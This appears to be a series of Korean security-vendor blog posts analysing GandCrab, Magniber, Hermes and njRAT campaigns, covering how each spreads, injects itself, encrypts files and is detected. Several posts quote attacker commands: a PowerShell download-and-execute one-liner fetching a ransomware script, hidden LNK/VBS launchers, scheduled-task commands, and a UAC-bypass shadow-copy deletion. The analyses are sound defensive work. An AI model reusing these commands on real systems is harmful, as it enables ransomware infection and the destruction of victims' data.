갠드크랩(GandCrab) 랜섬웨어는 타 랜섬웨어와 비교하면 그 유포방식이 다양하다. 다양한 유포방식은 브라우저 취약점을 통한 드라이브 바이 다운로드, 정상 소프트웨어 위장, 이메일 문서 첨부방식 등이 확인되었다. 다양한 유포방식에 못지않게 랜섬웨어의 파일 외형 또한 다양한 방식으로 변화를 보이고 있다. 최근 ASEC은 이러한 유포방식을 모니터링 중 파워쉘 스크립트 형태로 동작하는 갠드크랩 랜섬웨어의 유포 정황을 발견했다. 과거에 이와 유사한 형태가 문서파일 내부의 매크로 코드에서 확인된 사례가 있으나, 실행파일에서 파워쉘을 이용한 것이 확인된 것은 이번이 처음이다.


아래 <그림 1>은 갠드크랩 랜섬웨어를 다운로드하는 기능을 수행하는 실행파일(EXE)의 코드 중 일부이다. 해당 실행파일은 파워쉘 커맨드를 실행하는 기능만 수행한다. 


<그림 1. 파워쉘 스크립트를 실행하는 부분>



해당 파워쉘 커맨드는 유포지 서버로부터 랜섬웨어 본체를 사용자 시스템에 생성과정 없이 메모리에서 실행시킨다. 따라서 동작 시, <그림 2>와 같은 프로세스 트리를 보이며, 정상 프로세스인 Powershell.exe가 파일을 암호화하는 프로세스가 된다.


<그림 2. 프로세스 트리>



<표 1>은 <그림 1>에서 사용되는 파워쉘 명령이다. 해당 구문은 공격자 서버로부터 다운로드 받은 파워쉘 스크립트의 특정 함수(Invoke-GandCrab)의 실행을 의미한다. 그리고 Invoke-GandCrab 함수실행 후, 일정 시간(1000000초=270시간)을 대기한다. 이는 파일이 암호화되는 동안 프로세스가 종료되지 못하도록 하기 위함으로 파악된다. 또한 공격자는 교묘하게도 유포할 파워쉘 스크립트의 파일명을 ahnlab.txt로 사용했다.


 파워쉘 명령

 IEX ((new-object net.webclient).downloadstring('http://91.x10.1x4.x4x/ahnlab.txt'));Invoke-GandCrab;Start-Sleep -s 1000000;

<표 1. 파워쉘 스크립트 구동관련 코드>



아래 <그림 3>은 파워쉘 스크립트로 내부에 Invoke-GandCrab 함수가 존재하며, 유포지 서버가 활성화되어 있을경우, <표 1>의 파워쉘 명령으로 해당 함수가 사용자 시스템에서 실행된다. 이처럼 같은 랜섬웨어 일지라도 파일의 유형은 계속해서 다양해질 것으로 예측된다.  


<그림 3. 파워쉘 스크립트 내의 실행함수>




현재 안랩 제품에서는 파워쉘 스크립트로 유포되는 갠드크랩 랜섬웨어를 다음과 같이 진단하고 있다.


  • 파일 진단: Trojan/Win32.Agent(2018.07.05.06)
  • 행위 진단: Malware/MDP.Ransom.M1964

  • 추가로, 최근 정상파일로 위장하여 배포되는 GandCrab은 아래와 같은 파일명들이 확인되었다.

    • windows_7_iso.exe

    • 건축_도면.exe

    • 카트라이더_핵.exe

    • 판도라tv_동영상.exe

    • 무료_mp3_음악.exe

    • ppt_템플릿.exe

    • 태양의_후예.exe

    • 워프레임_캐시.exe

    • 오토_캐드_2010.exe

    • 윈도우7_정품인증.exe

    • 파워포인트_2010.exe

    • 네이버tv_동영상.exe

    • 사이툴_한글판.exe

    • mlb2k12.exe

    • 웹페이지.exe

    • web_동영상.exe

    • 곰오디오_스킨.exe

    • 병맛_전쟁_시뮬레이터.exe

    • 스팀_창작마당.exe

    • 로지텍_드라이버_속도.exe

    • 링크티비.exe

    • 네이버_동영상_편집기.exe

    • 뿌요뿌요_테트리스.exe

    • 일러스트_레이터_cs5.exe


    Posted by 분석팀

    자사에서는 금주 동안 악성 문서가 첨부된 메일을 통해 Hermes v2.1과 GandCrab v4 랜섬웨어를 유포 중임을 확인하였다. 문서는 비밀번호를 필요로 하며, 해당 비밀번호는 아래와 같이 메일에 명시 되어있다



    [그림1] – 악성 문서가 첨부 된 메일


    비밀번호 입력 후 문서가 열리면 매크로를 활성화 하라는 내용을 확인 할 수 있다.



    [그림2] – 암호 입력을 필요로 하는 악성 문서



    [그림3] – 매크로 활성화 유도하는 문서 내용



    매크로가 활성화되면 특정 네트워크에 접속하여 랜섬웨어를 다운로드 후 실행한다.


    다운로드 URL

    http://2*5.**5.*1*.*2/default.exe

    파일 저장 경로 및 이름

    %temp%\qwerty2.exe


    [ 1] – 랜섬웨어 유포 주소 및 저장 경로명



    흥미로운 점은 74일까지는 해당 URL에서 Hermes v2.1을 유포하는 반면, 오늘75일에는 동일 URL에서 GandCrab v4를 유포 중이다. 따라서 해당 문서 실행 시 어제까지는 Hermes v.2.1이 다운로드 되서 실행 된 반면 오늘은 GandCrab v4에 감염 될 수 있다. 또한 두 종류의 랜섬웨어는 동일한 파일 설명, 제품 이름 및 중국어를 언어로 사용하는 등의 유사한 버전 정보를 사용하고 있다.



    [그림 4] – 유사 버전 정보 (: GandCrab v4, : Hermes v2.1)


    위의 내용과 같이 동일한 URL에서 유포되고 버전 정보가 매우 유사한 점으로 보아 두 랜섬웨어의 제작자가 동일 할 것으로 추정된다.


    해당 문서는 아래와 같은 파일명으로서 이력서로 위장하여 유포되므로 첨부 파일로 전송 받은 문서 실행 시 주의가 필요하다.


     

    유포 중인 문서 이름 일부

    Danial’s Resume.doc

    Maire’s Resume.doc

    Fiona’s Resume.doc

    Alissa's Resume.doc


    [ 2] – 유포 중 문서 이름 일부



    안랩 제품에서는 위와 같은 문서 및 랜섬웨어를 아래와 같이 진단하고 있다.


    문서

    파일 진단명

    W97M/Downloader (2018.06.30.00)

    랜섬웨어

    실행파일

    파일 진단명

    Trojan/Win32.Hermesran (2018.06.30.00)

    Trojan/Win32.Gandcrab (2018.07.05.05)

    행위 진단명

    Malware/MDP.Ransom.M1171


    [ 3] – 진단명

    Posted by 분석팀

    20186월 초부터 음란물과 함께 악성코드가 활발히 유포되고 있는 것을 확인했다.해당 악성코드는 음란 게시글을 이용해 사용자들에게 *.zip 파일을 다운받게 유도했고, 다운받은 zip을 풀어 실행할 경우 실제 음란 사진 또는 음란 동영상이 실행되어 사용자가 악성코드에 감염된 사실을 인지하지 못하게 한다.


    [그림-1] 620일 자 업로드 된 음란 게시글


       [그림-1]과 같은 게시글에서 파일을 다운로드 후 압축을 풀면 [그림-2] 처럼 *.mp4를 실행하는 바로가기 파일(*.LNK) 하나만 보이지만 폴더 옵션에서 “숨김파일 표시”를 체크하면 [그림-3] 처럼 mp4, lnk, txt 세 가지 확장자를 가진 파일이 존재함을 알 수 있다.


    [그림-2] 6월20일 이전 유포된 악성코드 zip - 숨김파일 표시안함


    [그림-3] 6월20일 이전 유포된 악성코드 zip - 숨김파일 표시


    사용자의 클릭을 유도하는 바로가기 파일의 명령어를 보면 사용자가 인지하지 못하게 실제 *.mp4 동영상 파일도 실행하고, cmd를 이용하여 *.txt를 실행한다참고로 XP의 경우 확장자가 *.txt이면 notepad가 실행되지만 Win7의 경우 파일 구조에 맞게 EXE가 실행된다.


    [그림-4] 바로가기 파일 속성


     %windir%\system32\cmd.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden cmd /c @start 국산순두부.mp4 & cmd /c @start 국산순두부.txt

    [표-1] 바로가기 명령어


    안랩에 수집된 악성코드의 파일명을 보면 자극적인 이름을 사용하고 확장자는 *.txt 를 사용하였다. 실제로 해당 파일들은 64bit 닷넷 악성코드로실행 시 정상 프로세스 명으로 위장한 파일 2개를 생성 및 실행한다실행 된 프로세스는 GoBOT2”이라는 Botnet 이다.


    [그림-5] 안랩에 수집된 파일 중 일부


    620일 기준으로는 바로가기 파일이 VBS파일을 실행시키고, VBS파일이 동영상 및 악성코드를 실행시키는 구조로 변화했다.



    [그림-6] 6월 20일 수집된 zip 파일


    %windir%\system32\cmd.exe hidden cmd /c @start 조건처음이야.vbs

    [표-2] 6월 20일 수집된 바로가기 파일 명령어

    Set WshShell = WScript.CreateObject("WScript.Shell")

    return = WshShell.Run ("cmd /c @start 조건처음이야.mp4 & cmd /c @start 조건처음이야.txt" ,0 ,true)

    [표-3] 6월 20일 수집된 VBS 코드


    바로가기 파일에 의해 실행되는 악성코드는 2016년 이후 부터 랜섬웨어, 마이너류에 많이 사용되어왔. 그러므로 사용자는 늘 인터넷에서 파일을 다운로드 받을 경우 알 수 없는 글에 대해 주의하여야 한다.


    현재 안랩 제품에서는 음란물과 함께 유포되는 악성코드를 다음과 같이 진단하고 있다.


    - Trojan/Win64.Agent(2018.06.10.01)

    - LNK/Runner (2018.06.11.01)

    - LNK/Autorun.Gen (2018.06.15.00)




    Posted by 분석팀

    최근 웹 익스플로잇 킷을 통해 국내에 유포되는 대표적인 랜섬웨어는 매그니베르 랜섬웨어이다. 하지만 최근 그랜드소프트(GrandSoft) 익스플로잇 킷을 통해 갠드크랩 랜섬웨어도 유포되기 시작했다. 그랜드소프트 익스플로잇 킷은 랜섬웨어를 유포하는데 웹사이트 취약점(CVE-2018-8174) 을 사용한다. 따라서 Internet Explorer 버전이 취약한 경우, 웹 사이트 접속하는 것 만으로 랜섬웨어에 감염될 수 있다.


    [그림 1] 그랜드소프트(GrandSoft) 익스플로잇 킷 취약점 스크립트


    [그림 1]은 그랜드소프트(GrandSoft) 익스플로잇 킷의 취약점 스크립트이다. CVE-2018-8174 취약점을 사용하여 스크립트 내 포함된 쉘코드를 실행시킨다.




    [그림 2] 쉘코드 기능 (PE 다운로드)


    [그림 2]와 같이 쉘코드는 웹 서버에 접속하여 인코딩된 PE를 다운로드 한다. 다운로드에 사용하는 API는 아래와 같다.


  • winhttp.winhttpcrackurl
  • winhttp.winhttpopen
  • winhttp.winhttpConnect
  • winhttp.winhttpopenrequest
  • winhttp.winhttpSendRequest
  • winhttp.winhttpReceiveReponse
  • winhttp.winhttpQueryHeaders

  • 이후 받아온 데이터를 디코딩하여 [그림 3] 과 같이 %temp% 경로에 "[랜덤숫자].tmp" 형식의 이름으로 파일을 생성하여 저장한다. 


     

    [그림 3] 쉘코드 기능 (파일로 저장)


    쉘코드는 마지막으로 저장된 "[랜덤숫자].tmp" 파일을 [그림 4]와 같이 실행한다. 쉘코드를 통해 실행된 "[랜덤숫자].tmp" 파일은 최종적으로 갠드크랩 랜섬웨어를 다운로드하여 실행시킨다.




    [그림 4] 쉘코드 기능 (PE 실행)


    최종적으로 실행된 갠드크랩 랜섬웨어는 파일 암호화를 수행하고, 감염이 완료되면 [그림 5]와 같이 바탕화면이 변경된다.



     

    [그림 5] 갠드크랩 v3.0 감염 후 변경된 바탕화면



    현재 안랩 제품에서는 GrandSoft EK를 통해 유포되는 갠드크랩 랜섬웨어를 다음과 같이 진단하고 있다.

    • 파일 진단: Trojan/Win32.GandCrab(2018.06.20.00)
    • 행위 진단: Malware/MDP.Execute.M1509



    Posted by 분석팀

    지난 주말(6월 9일) ASEC은 랜섬웨어 유포지 모니터링 작업 중 파일리스 형태의 매그니베르 랜섬웨어의 인젝션 대상이  변경된 것을 확인하였다. 

    매그니베르 랜섬웨어는 이전에 확인된 것 처럼 매그니튜드 익스플로잇 킷을 사용하고 있으며, CVE-2018-8174 취약점을 사용하여 쉘코드를 실행한다.

    실행된 쉘 코드에 의해 매그니베르 랜섬웨어가 동작하면, [그림 1]처럼 실행중인 프로세스 목록 중 [표 1]의 권한이 있는 대상에 인젝션을 수행 한다. 

    이와 같은 방식으로 시스템의 실행중인 프로세스에 따라 다른 프로세스에 인젝션이 되어 암호화 행위를 수행 한다. (기존에는 IE 프로세스 하위에 새로운 프로세스를 실행하여 인젝션하는 구조 임)




    [그림 1] 인젝션 대상 검색


     값

     의미 

     PROCESS_CREATE_THREAD (0x0002)

     Required to create a thread.

     PROCESS_VM_OPERATION (0x0008)

     Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).

     PROCESS_VM_READ (0x0010)

     Required to read memory in a process using ReadProcessMemory.

     PROCESS_VM_WRITE (0x0020)

     Required to write to memory in a process using WriteProcessMemory.

     PROCESS_QUERY_INFORMATION (0x0400)

     Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken).


    [표 1] 권한 확인 값 (출처 : MSDN)


    현재(6월 11일)는 인젝션 대상이 "verclsid.exe" 로 다시 변경되어 유포 중에 있으며, 인젝션 대상은 지속적으로 변화할 것으로 추정된다.


    예방방법

    Fileless 랜섬웨어를 예방하기 위해서는 확인되지 않은 페이지 접근을 지양하고 주기적인 보안업데이트가 필요하다.

    1)     원격 코드 실행 취약점 (CVE-2018-8174) 예방

    인터넷 익스플로러 최신 버전 업데이트

    -       https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

     

    대응

    현재 안랩 제품에서는 Fileless 형태의 랜섬웨어 행위에 대해 다음과 같이 진단하고 있다.

    Malware/MDP.Ransom.M1944

    Malware/MDP.Ransom.M1947


    Reference

    MSDN : https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms684880(v=vs.85).aspx


    Posted by 분석팀

    지난 주말 ASEC은 랜섬웨어 유포지 모니터링 작업 중 파일리스 형태의 랜섬웨어가 갠드크랩에서 매그니베르로 바뀐 것을 확인하였다. 411일 이후 매그니베르 랜섬웨어가 재등장한 것은 53일 만이다.

    매그니베르 랜섬웨어는 매그니튜드 익스플로잇 킷을 사용하는 것을 확인하였으며, 동작 방식은 [그림 1]과 같다.

     

    [그림 1] 파일리스 형태의 매그니베르 랜섬웨어 유포 및 동작 방식

     

    현재까지 확인된 인젝션되는 정상 프로세스는 “notepad.exe, hh.exe, help.exe, ctfmon.exe” 이나 계속해서 인젝션 대상은 변화할 것으로 추정된다.

     

    [그림 2] 인코딩된 랜딩 페이지

     

    [그림 3] 디코딩된 랜딩 페이지의 메인 함수

     

    [그림 2]는 매그니튜드 익스플로잇 킷의 랜딩 페이지로써 인코딩된 형태이며, [그림 3]은 인코딩 페이지를 디코딩 및 난독화를 해제한 그림이다. 해당 스크립트는 CVE-2018-8174 취약점을 사용하여 쉘코드를 실행한다.

     

    [그림 4] CVE-2018-8174에 의해 실행되는 쉘코드

     

    [그림 4]는 취약점 스크립트를 통해 실행되는 쉘코드이다. 쉘코드는 메그니베르 랜섬웨어 DLL을 다운로드 받아 메모리상에서 실행한다. (파일리스 형태)

     

    매그니베르 랜섬웨어 주요 변경사항

    최근에 유포 중인 매그니베르는 과거에 유포되었던 샘플들과 행위가 유사하지만, 파일 암호화 시 사용되는 키와 벡터값이 가변적이며, 해당 키를 공개키로 암호화 하므로 공격자의 개인 키를 알지 못하면 복구할 수 없다.

     

     

    4 8일 유포 샘플

    65일 유포 샘플

    공통점

    감염 PC의 한국어 환경 확인

    랜섬노트 및 코인 지불 사이트 스케줄 등록

    시스템 복원 기능 삭제

    암호화 대상 제외 폴더 동일

    AES-128 Key 대칭키 사용 (CBC모드)

    생성된 뮤텍스 이름을 파일 암호화 확장자로 사용

    차이점

    복호화 가능 여부

    가능

    (복구툴 배포: asec.ahnlab.com/1129)

    불가능

    (공격자의 공개키로 대칭키 암호화)

    [1] 매그니베르 랜섬웨어 주요 기능 비교

     

    변경된 암호화 방식

    복구가 가능했던 지난 매그니베르 랜섬웨어는 파일 내부에 키값을 하드 코딩된 형태로 저장하고 있었다. 하지만 현재 유포 중인 매그니베르 랜섬웨어는 암호화 대상이 되는 파일마다 키와 벡터값을 모두 난수로 생성하고, 내부에 하드 코딩된 RSA 공개키로 해당 키와 벡터값을 모두 암호화 하므로 복구할 수 없다.

     

    [그림 5] 파일 암호화 과정

     

    RSA 공개키를 파일 내부에 저장하고 있기 때문에 공개키를 공격자로부터 받아오는 갠드크랩 랜섬웨어와 다르게 매그니베르 랜섬웨어는 네트워크 통신이 없어도 파일 암호화가 가능하다.

     

    암호화가 완료된 파일의 모습은 [그림 6]과 같다. 파일 암호화는 이전과 같이 AES-128 (CBC 모드)를 사용하였으며, 파일 크기를 0x100000의 단위로 분리하여 암호화하는 것 역시 동일 하였다. 달라진 점은 암호화 파일 끝에 키와 벡터값을 공격자의 공개키로 암호화하여 저장한다는 것이다.

     

    [그림 6] 공격자의 공개키로 암호화된 키와 벡터 (크기 : 0x100)

     

    매그니베르 랜섬웨어의 주요 기능

    감염 PC의 한국어 환경 확인

    이전에 유포되었던 것과 같이 감염 PC의 시스템 언어가 한국어 환경인지 확인 후 동작한다.


    [그림 7] 시스템 언어 환경 체크

     

    랜섬노트 및 코인 지불 사이트 스케줄 등록

    스케줄 등록

    schtasks.exe /create /SC MINUTE /MO 15 /tn ******************** /TR "pcalua.exe -a notepad.exe -c C:\Users\Public\README.txt"

     -> 랜섬노트 15분마다 팝업

    schtasks.exe /create /SC MINUTE /MO 60 /tn ******************* /TR "pcalua.exe -a http://*******************.liveend.space/2345svcvgxek”

     -> 코인 지불 사이트 60분마다 팝업

    [2] 랜섬노트 & 코인 지불 사이트 스케줄 등록

    시스템 복원 기능 삭제

    HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command’ 레지스트리 값에 ‘cmd.exe /c "%SystemRoot%\system32\wbem\wmic shadowcopy delete"’ 명령어를 등록한 후 WinExec 함수를 통해 pcalua.exe –a eventvwr.exe 명령어를 실행함으로써 관리자 권한으로 시스템 복원 기능을 삭제한다.

     

    암호화 대상 제외 폴더 동일

    매그니베르 랜섬웨어의 암호화 대상에서 제외되는 폴더 리스트는 [ 3]과 같다.

    암호화 제외 폴더 리스트

    document and string

    appdata

    local settings

    sample music

    sample pictures

    sample videos

    tor browser

    recycle

    windows

    boot

    intel

    msocache

    perflogs

    program files

    programdata

    recovery

    system volume information

    winnt

    [3] 암호화 제외 폴더 리스트


    [그림 8] 코인 지불 사이트

     

    [그림 9] 매그니베르 랜섬노트

     

    예방방법

    Fileless 랜섬웨어를 예방하기 위해서는 확인되지 않은 페이지 접근을 지양하고 주기적인 보안업데이트가 필요하다.

    1)     원격 코드 실행 취약점 (CVE-2018-8174) 예방

    인터넷 익스플로러 최신 버전 업데이트

    -       https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

     

    대응

    현재 안랩 제품에서는 Fileless 형태의 랜섬웨어 행위에 대해 다음과 같이 진단하고 있다.

    Malware/MDP.Ransom.M1944


    Posted by 분석팀

    1. 요약

    2018.05.09 오후부터 채용 정보사이트에 기재된 인사담당자를 대상으로 한 이력서 형태의 랜섬웨어가 집중 유포되고 있다. 입사지원자를 사칭한 메일로 인사담당자가 메일 본문에 포함된 링크를 클릭하면 랜섬웨어 다운로드 페이지로 연결된다. 해당 페이지에서 이력서로 위장한 압축 파일을 다운로드 받아 실행 시 GandCrab 랜섬웨어에 감염된다.

    [그림1 유포_경로]

    2. 유포 및 감염 방법

    사회공학 기법을 이용한 스팸메일로 채용 정보사이트에 기재된 채용담당자를 공격대상으로 삼았다. 아래와 같이 이력서엔 소개 글과 함께 이력서를 첨부하였습니다라는 링크 클릭을 유도하는데 이 서버(www.d****aw/doc.php)를 접속할 시 지원자 명의 압축파일을 다운로드 한다.

    [그림2 지원_메일]

    이 압축 파일(min_hee_resume.zip)을 해제하면 스크립트 파일(resume.js)이 존재한다.

    [그림3 압축_파일]

    이 스크립트는 난독화 되어 있어 아래와 같이 알아 볼 수 없는 문자열로 보이는데 복호화를 했을 경우 아래와 같이 랜섬웨어 유포 페이지((www.yo****p.com/update.php)등을 확인할 수 있으며 기능은 이 서버에 접속해 랜섬웨어(랜덤_이름).exe를 다운로드 후 실행한다.

    [그림4 난독화__스크립트]


    [
    그림5 복호화__URL스트링]

    3. 감염 예방 방법

     의심스러운 파일은 다운로드 및 실행하는 것을 지양해야 하며 V3의 최신 버전에선 탐지가 되기 때문에 주기적인 보안 업데이트가 필요하다.

    4. 진단명

    1) 스크립트 파일 : JS/Obfus.S258

    2) EXE 파일 : Win-Trojan/Gandcrab.Exp

    3) 행위 진단 : Malware/MDP.Create.M1179
     


    Posted by 분석팀

    GandCrab 랜섬웨어는 최근 Magnitude 익스플로잇 킷을 통해 Fileless 형태로 유포 중임이 발견되었다. 이전 블로그에도 게시했던 것처럼 Magniber 유포지 확인 중 새로운 버전의 GandCrab v2.1이 유포 됨을 확인한바 있다이와 관련하여 자사에서는 금주부터 GandCrab v3.0이 Magnitude 익스플로잇 킷을 통해 Fileless 형태로 유포 중임을 추가 확인하였다


    [그림 1] 4월 30일 유포과정 구조도

    [그림 2] 5월 2일 유포과정 구조도

    [그림 1]과 [그림2]는 각각 4월 30일, 5월 2일 Magnitude 익스플로잇 킷을 통해 유포되는 GandCrab v3.0의 구조도이다. 유포 스크립트로부터 GandCrab v3.0 랜섬웨어가 실행되기까지의 상세한 과정은 아래와 같다.


    [그림 3] 인코딩된 유포 스크립트

    [그림 3]은 Magnitude 익스플로잇 킷의 랜딩페이지로 인코딩 형태이다. [그림 4], [그림 5]은 각각 4월 30일, 5월 2일 수집된 해당 스크립트의 디코딩한 모습이다. 


    [그림 4] 디코딩된 유포 스크립트 (04/30)


    [그림 5] 디코딩된 유포 스크립트 (05/02)

    [그림 4], [그림 5]의 디코딩된 스크립트는 빨간 박스의 변수에 담긴 문자열(Base64 인코딩된 닷넷 DLL) 을 디코딩 후 실행한다. 해당 방식은 디코딩된 닷넷 DLL을 로컬에 드랍하지 않고 실행하는 Fileless 방식이다. 따라서 닷넷 DLL은 해당 유포스크립트가 동작하던 iexplore.exe 의 메모리에서 동작하게 된다.


    [그림 6] Base64 디코딩된 닷넷 PE (04/30)


    [그림 7] Base64 디코딩된 닷넷 PE (05/02)

    [그림 6]과 [그림 7]은 각각 4월 30일, 5월 2일 유포 스크립트 내부의 닷넷 DLL 코드이다. 유포 스크립트로 인해 해당 DLL이 실행되면 <그림 2>,<그림 3>에 보이는 array에 담긴 쉘코드를 쓰레드로 실행시킨다. 해당 쉘코드는 [그림 1],[그림 2] 의 구조도에서 보이는 패킹된 DLL을 다운로드하고 실행하는 역할을 수행한다.


    [그림 8] 쉘코드로부터 다운로드되는 DLL (04/30)


    [그림 9] 쉘코드로부터 다운로드되는 DLL (05/02)

    [그림 8]과 [그림 9]는 각각 4월 30일, 5월 2일 쉘코드로부터 다운로드 및 실행되는 DLL이다. 날짜별 실행방식에 차이는 인젝션 대상 프로세스이다. 4월 30일 자 DLL의 경우 svchost.exe에 인젝션을 시도하며, 실패 시 현재 프로세스(iexplore.exe)에 랜섬웨어를 인젝션한다. 5월 2일 자 DLL의 경우에는 wimserv.exe 에 인젝션을 시도하며, 실패 시 현재 프로세스(iexplore.exe)에 랜섬웨어를 인젝션 하게 된다.


    [그림 10] GandCrab v3.0 의 랜섬노트


    [그림 11] GandCrab v3.0 감염 후 변경 된 바탕화면


    인젝션되어 동작하는 GandCrab 랜섬웨어는 파일 암호화를 수행하고, 감염이 완료되면 [그림 10]과 같이 랜섬노트를 팝업시키며, 이전 버전과 달리 [그림 11] 처럼 바탕화면이 변경된다.


    감염 예방방법

    - 취약점 패치

    결과적으로 GandCrab은 Fileless의 형태로 동작하는 것과 개인키 확인을 어렵게 하는 점으로 보아 진단 및 복구를 힘들게 한다고 할 수 있다. 따라서 확인되지 않는 페이지의 접근을 지양하고 접속 시 사용자의 각별한 주의가 필요하며 주기적인 보안 업데이트가 필요하다. (아래 참고)

    스크립팅 엔진 메모리 손상 취약점 (CVE-2016-0189)

    취약점 대상의 인터넷 익스플로러 버전 9, 10, 11이며 아래 경로에서 최신 버전의 인터넷 익스플로러를 다운로드 할 수 있다.

    https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

    또한 윈도우 보안 업데이트는 다음과 같이 진행 할 수 있다.

    윈도우 시작 버튼 -> 모든 프로그램 -> Windows Update

    Posted by 분석팀

    현재까지 GandCrab 랜섬웨어의 유포는 익스플로잇 킷(Exploit Kit)을 통한 유포와 'OO지원서' 'OO내용증명' 등의 이메일 첨부 파일을 이용한 유포 방식이 주로 확인되었다. 이러한 유포 방식과 더불어 GandCrab 랜섬웨어 파일을 구동하는 방식 또한 다양하게 확인되고 있다. 금주 자사에서는 실질적인 랜섬웨어 기능을 하는 GandCrab DLL이 svchost.exe에 인젝션되어 동작하는 변형을 발견하였다. explorer.exe에 인젝션하여 동작하였던 기존의 방법과는 차이를 보인다. 

    유포된 파일은 인코딩된 바이너리를 포함하고 있으며, 이를 언패킹 하여 최종 EXE 실행 파일을 메모리상에 생성한다. 이 실행 파일은 실질적인 랜섬웨어 기능을 하는 악성 DLL 파일을 메모리상에 만들고 이를 정상 프로세스인 svchost.exe 프로세스를 실행한 뒤 프로세스에 코드를 인젝션한다. 대상이 되는 svchost.exe 프로세스는 파일 내에 하드코딩 되어 있다. 기존의 Fileless GandCrab은 explorer.exe 프로세스에 인젝션 했던 점과 비교된다. 프로세스에 인젝션 된 DLL 파일은 기존에 파악된 DLL 파일과 코드 흐름 및 동작 방식이 유사하다. 

    주목할 점은 이번 GandCrab 랜섬웨어는 파일 암호화 후 나타나는 랜섬노트에 표기된 버전과 실질적인 암호화 기능을 수행하는 DLL 파일 내에 하드코딩 된 버전이 다르다는 점이다. 랜섬노트에는 ‘GandCrab V2.1’로 나오지만, 실제로 공격자에게 전달되는 내부 버전 정보는 '3.0.0'으로 확인되었다. 비슷한 시기에 접수된 또 다른 GandCrab 역시 랜섬노트에서는 'GandCrab V2.1'이었지만 내부 버전 정보는 '2.3.2'으로 확인되었다.

    해당 데이터는 암호화 PC의 고유 ID, 암호화 키 등의 값과 함께 공격자에게 HTTP 통신 파라미터로 전달된다. 내부 버전 3.0.0으으로 명시된 DLL 파일은 바이너리 빌드 날짜가 2018년 4월 23일(UTC)로, 랜섬웨어 공격자는 최근까지도 악성코드를 제작 및 유포하고 있다는 점을 알 수 있다.


    GandCrab V2.1 (내부 버전 "version=3.0.0") Kill-Switch (암호화 차단 방법)

    자사에서는 GandCrab V2.1 (내부 버전 "version=3.0.0")이 특정 조건에서 암호화가 중단 될 수 있는 Kill-Switch를 확인하였다. 시스템 C:\ 경로 내에 'MalwarebytesLABs' 이름을 가진 파일 또는 폴더가 있을 경우엔 다음과 같은 메시지 박스 창이 뜨면서 [확인] 버튼에 대한 사용자의 마우스 또는 클릭 동작(이벤트)을 대기한다. 이 과정에서 악성 프로세스가 사용자 동작이 있기 전까지 대기를 하기 때문에 암호화 단계로 넘어가는 것을 일시적으로 멈추게 된다. 따라서 다음과 같은 메시지박스가 떴을 경우에는 [확인] 버튼을 클릭하거나 창을 닫지 말고 즉시 시스템을 종료하면 암호화가 되는 것을 방지할 수 있다. 메시지 박스가 뜨기 위해서는 C:\MalwarebytesLABs 파일 또는 폴더가 존재해야하며 다음과 같이 두 가지 방식으로 예방법을 가이드한다. 

    • 첫 번째 방법) C:\ 경로에 'MalwarebytesLABs' 이름을 가진 폴더를 생성한다.


    • 두 번째 방법) C:\ 경로에 'MalwarebytesLABs' 이름(확장자 없음)을 가진 파일을 생성한다. 혹은 다음 첨부된 파일을 위치시킨다.
      MalwarebytesLABs
    다음과 같은 메시지 박스가 떴을 때는 [확인] 버튼이나 [X] 버튼을 클릭하지 않고 그 즉시 시스템을 종료/재부팅한다. 


    현재 안랩 제품에서는 GandCrab V2.1 (내부 3.0.0) 악성코드를 다음과 같이 진단하고 있다.

    • 파일 진단: Trojan/Win32.RansomCrypt (2018.04.24.02)
    • 행위 진단: Malware/MDP.Inject.M464


    Posted by 분석팀

    온라인상에 텍스트나 소스코드 데이터를 저장해서 공유할 수 있는 Pastebin (페이스트빈) 서비스를 이용한 악성코드가 발견되었다. Pastebin 서비스에 Raw 데이터 텍스트 스트링을 올려두면 부여되는 고유한 URL을 통해 접속할 수 있는 점을 이용하였다. 

    악성코드는 성인물로 위장하여 ‘2.zip’ 압축 파일명으로 유포되었다. 실행된 악성코드는 단독으로 동작하거나 실행되지 않고 여러 개의 Visual Basic 스크립트 파일과 EXE 실행 파일을 만들거나 메모리에 로드하여 최종 파일을 생성한다. 이 과정에서 악성코드는 Pastebin 도메인의 각기 다른 4개 URL에 접속하여 해당 주소의 텍스트 데이터를 받아 악성코드를 로딩하는 데 이용한다. 최종 실행되는 파일은 ‘njRAT’ 이름을 가진 원격 제어 (Remote Access) 기능의 백도어이다. 다음은 최초 유포 파일로부터 최종 원격 제어 악성코드가 실행되기까지의 과정을 도식화한 것이다.

    Pastebin을 통해 받아오는 Raw 데이터 텍스트 스트링은 다양한 목적과 형태로 되어있다. 인코딩된 또 다른 스크립트를 포함한 Visual Basic 스크립트 파일, 다른 Pastebin 주소로 연결하여 텍스트 스트링을 받아오는 Visual Basic 스크립트 파일, 그리고 인코딩된 PE 파일 바이너리가 확인되었다. 이렇게 외부 리소스를 이용해 악성코드 데이터를 받아오는 것은 최초 유포 파일의 용량을 크게 줄임과 동시에 백신의 개별 파일 시그니처 탐지 또는 이상 행위 탐지를 우회하기 위한 것으로 보인다. 또한 중간에 리소스 파일이 문제가 있을 때 이를 교체하기도 쉽다.

    여기서 가장 마지막으로 Pastebin에 접속해 받아오는 스트링은 인코딩된 Base64 데이터로, 위 그림에서 (10) 파일에 해당한다. 이를 호출한 (9) 파일은 다음과 같이 텍스트 스트링을 디코딩한 후 바이트 배열로 변환하고 Invoke 메소드를 통해 .NET PE 파일의 EntryPoint를 호출한다. 그리고 이 모든 과정은 로컬에 생성된 (8) 파일의 프로세스 메모리 내에서 동작한다.

    실행된 PE 파일은 파일 내 난독화된 스트링 오브젝트를 이용해 악성 기능을 수행하는 핵심적인 실행 파일을 또다시 메모리상에 로드한다. 이 파일은 원격 제어 기능을 수행하는 파일이며 다음과 같은 기능을 포함하고 있다. 또한, 아래 기능은 njRAT 원격 제어 백도어 악성코드와 그 기능이 같다. 공격자는 악성코드 제작 프로그램을 이용하여 다수의 사용자를 원격 제어할 목적으로 악성코드를 유포한 것으로 보인다.
    • 일정 간격을 두고 공격자 C&C 서버(regeditcrypter.myq-see.com:4969)와 지속된 메시지 통신 
    • DDoS 공격 - ARME Attack, Slowloris Attack
    • 비트코인과 관련한 현재 동작중인 프로세스를 찾고 있으면 코인 탈취, 지갑 주소를 포함하고 있음
